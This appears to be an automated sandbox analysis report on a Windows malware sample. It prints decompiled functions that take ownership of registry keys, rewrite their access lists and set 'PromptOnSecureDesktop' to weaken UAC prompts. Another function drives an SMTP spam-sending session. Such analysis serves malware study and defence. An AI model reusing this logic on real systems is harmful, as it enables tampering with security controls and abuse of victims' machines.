Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00577CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 00577D0A
GetUserNameA.ADVAPI32(?,?), ref: 00577D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00577D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 00577D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00577DA9
EqualSid.ADVAPI32(?,?), ref: 00577DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 00577DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00577DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00577DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 00577DFB
LocalFree.KERNEL32(00000000), ref: 00577E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00577E1E

Strings

PromptOnSecureDesktop, xrefs: 00577F89
D, xrefs: 00577D5C

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: 6a91df61dccceb0bec618f47f6a995063d37cdcba5f951eec97a00f18c17623b
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: AFA13D7190421DAFDB118FA0ED88FEEBFB9FB48304F148069E509E6150EB758A85DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

PromptOnSecureDesktop, xrefs: 00407D39
D, xrefs: 00407B0C

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
va=%08X%08X uef=%p, xrefs: 00406595
12:08:32, xrefs: 00406535
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
except_info, xrefs: 00406728
localcfg, xrefs: 0040672D
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
Jan 13 2018, xrefs: 0040653A
plgs:, xrefs: 004066AA
%d=%p, xrefs: 004066F9

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
